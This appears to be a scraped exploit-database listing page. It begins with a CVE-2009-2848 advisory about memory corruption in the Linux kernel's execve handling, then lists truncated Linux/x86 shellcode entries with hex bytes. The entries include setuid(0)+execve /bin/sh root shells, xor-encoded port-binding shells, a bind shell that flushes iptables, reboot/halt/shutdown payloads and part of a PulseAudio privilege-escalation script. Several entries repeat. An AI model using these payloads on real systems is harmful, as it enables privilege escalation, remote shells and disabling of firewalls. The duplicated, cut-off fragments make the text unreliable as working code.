Linux kernel execve函数本地拒绝服务漏洞

CVECAN ID: CVE-2009-2848 Linux Kernel是开放源码操作系统Linux所使用的内核。 Linux Kernel的execve函数没有清除current-clearchildtid指针，在处理线程创建和退出过程中启用了CLONECHILDSETTID或CLONECHILDCLEARTID的clone系统调用会导致内存破坏。本地攻击者可以利用这个漏洞导致拒绝服务。 Linux kernel 2.6.x 厂商补丁： Linux ----- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：...

Memory corruption

The execve function in the Linux kernel, possibly 2.6.30-rc6 and earlier, does not properly clear the current-clearchildtid pointer, which allows local users to cause a denial of service memory corruption or possibly gain privileges via a clone system call with CLONECHILDSETTID or...

CVE-2009-2848

The execve function in the Linux kernel, possibly 2.6.30-rc6 and earlier, does not properly clear the current-clearchildtid pointer, which allows local users to cause a denial of service memory corruption or possibly gain privileges via a clone system call with CLONECHILDSETTID or...

CVE-2009-2848

The execve function in the Linux kernel, possibly 2.6.30-rc6 and earlier, does not properly clear the current-clearchildtid pointer, which allows local users to cause a denial of service memory corruption or possibly gain privileges via a clone system call with CLONECHILDSETTID or...

PulseAudio setuid - Local Privilege Escalation

PulseAudio setuid - Local Privilege Escalation !/bin/bash pulseaudio=which pulseaudio workdir="/tmp" workdir=$HOME id=which id shell=which sh trap cleanup INT function cleanup rm -f $workdir/sh $workdir/sh.c $workdir/parace $workdir/parace.c rm -rf $workdir/PATMP cat $workdir/parace.c include...

Linux/x86 Port Binding Shellcode (xor-encoded) 152 bytes

No description provided by source. / Author: Rick Email: [email protected] OS: Linux/x86 Description: Port Bind 4444 xor-encoded -------------------------------------------------------------------- section .text global start start: ;socket PFINET, SOCKSTREAM, 0 push byte 0x66 pop eax push byte...

Linux/x86 - execve(/sbin/reboot,/sbin/reboot) Shellcode (28 bytes)

Linux/x86 - execve/sbin/reboot,/sbin/reboot Shellcode 28 bytes. Shellcode exploit for Linuxx86 platform include const char shellcode= "\x6a\x0b" // push $0xb "\x58" // pop %eax "\x99" // cltd "\x52" // push %edx "\x68\x62\x6f\x6f\x74" // push $0x746f6f62 "\x68\x6e\x2f\x72\x65" // push $0x65722f6e...

Linux/x86 - execve(/sbin/halt,/sbin/halt) Shellcode (27 bytes)

Linux/x86 - execve/sbin/halt,/sbin/halt Shellcode 27 bytes. Shellcode exploit for Linuxx86 platform include const char shellcode= "\x6a\x0b" // push $0xb "\x58" // pop %eax "\x99" // cltd "\x52" // push %edx "\x66\x68\x6c\x74" // pushw $0x746c "\x68\x6e\x2f\x68\x61" // push $0x61682f6e...

Linux/x86 - execve(/sbin/shutdown,/sbin/shutdown 0) Shellcode (36 bytes)

Linux/x86 - execve/sbin/shutdown,/sbin/shutdown 0 Shellcode 36 bytes. Shellcode exploit for Linuxx86 platform include const char shellcode= "\x6a\x0b" // push $0xb "\x58" // pop %eax "\x99" // cltd "\x52" // push %edx "\x68\x64\x6f\x77\x6e" // push $0x6e776f64 "\x68\x73\x68\x75\x74" // push...

Linux/x86 - setuid(0) + execve(/bin/sh) Shellcode (27 bytes)

Linux/x86 - setuid0 + execve/bin/sh Shellcode 27 bytes. Shellcode exploit for Linuxx86 platform include const char sc= "\x31\xdb" //xor ebx,ebx "\x8d\x43\x17" //LEA eax,ebx + 0x17 /LEA is FASTER tha push/pop "\x99" //cdq "\xcd\x80" //int 80 //setuid0 shouldn't returns -1 right? ; "\xb0\x0b" //mov...

linux/x86 execve shellcode generator null byte free

Exploit for generator platform in category shellcode =================================================== linux/x86 execve shellcode generator null byte free =================================================== / \ Shellcode Generator null byte free. Author: certaindeath This program generates a...

linux/x86 execve shellcode generator null byte free

linux/x86 execve shellcode generator null byte free. Shellcode exploit for generator platform / \ Shellcode Generator null byte free. Author: certaindeath Site: certaindeath.netii.net at the moment under construction This program generates a shellcode which uses the stack to store the command and...

linux/x86 execve shellcode generator null byte free

No description provided by source. / \ Shellcode Generator null byte free. Author: certaindeath Site: certaindeath.netii.net at the moment under construction This program generates a shellcode which uses the stack to store the command and its arguments. Afterwords it executes the command with the...

Linux/x86 - setuid(0) + execve(/bin/sh,0) Shellcode (25 bytes)

Linux/x86 - setuid0 + execve/bin/sh,0 Shellcode 25 bytes. Shellcode exploit for Linuxx86 platform include const char shellcode= "\x6a\x17" // push $0x17 "\x58" // pop %eax "\x31\xdb" // xor %ebx,%ebx "\xcd\x80" // int $0x80 "\xb0\x0b" // mov $0xb,%al So you'll get segfault if it's not able to do...

Linux/x86 - setuid(0) + setgid(0) + execve(/bin/sh,[/bin/sh,NULL])) Shellcode (25 bytes)

Linux/x86 - setuid0 + setgid0 + execve/bin/sh,/bin/sh,NULL Shellcode 25 bytes. Shellcode exploit for Linuxx86 platform include const char shellcode= "\x6a\x17" // push $0x17 "\x58" // pop %eax "\x31\xdb" // xor %ebx,%ebx "\xcd\x80" // int $0x80 "\xb0\x2e" // mov $0x2e,%al "\xcd\x80" // int $0x80...

linux/x86 setreuid(geteuid(),geteuid()),execve("/bin/sh",0,0) 34 bytes

No description provided by source. / linux/x86 setreuidgeteuid,geteuid,execve"/bin/sh",0,0 34byte universal shellcode blue9057 [email protected] / int main char shellcode="\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46" "\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68"...

linux/x86 setreuid(geteuid(),geteuid()),execve("/bin/sh",0,0) 34 bytes

Exploit for linux/x86 platform in category shellcode ====================================================================== linux/x86 setreuidgeteuid,geteuid,execve"/bin/sh",0,0 34 bytes ====================================================================== / linux/x86...

linux/x86 setreuid(geteuid() geteuid()) execve(""/bin/sh"" 0 0) 34 bytes

No description provided by source. / linux/x86 setreuidgeteuid,geteuid,execve"/bin/sh",0,0 34byte universal shellcode blue9057 [email protected] / int main char shellcode="\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46" "\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68"...

linux/x86 setreuidgeteuid,geteuid,execve"/bin/sh",0,0 34 bytes

linux/x86 setreuidgeteuid,geteuid,execve"/bin/sh",0,0 34 bytes. Shellcode exploit for linx86 platform / linux/x86 setreuidgeteuid,geteuid,execve"/bin/sh",0,0 34byte universal shellcode blue9057 [email protected] / int main char shellcode="\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46"...

linux/x86 bindport 8000 & execve iptables -F 176 bytes

No description provided by source. ; ; Title : Bindport TCP/8000 & execve iptables -F ; os : Linux x86 ; size : 176 bytes ; IP : localhost ; Port : 8000 ; Use : nc localhost 8000 ; ; Author : Jonathan Salwan ; Mail : submit AT shell-storm.org ; Web : http://www.shell-storm.org ; ; ; More shellcod...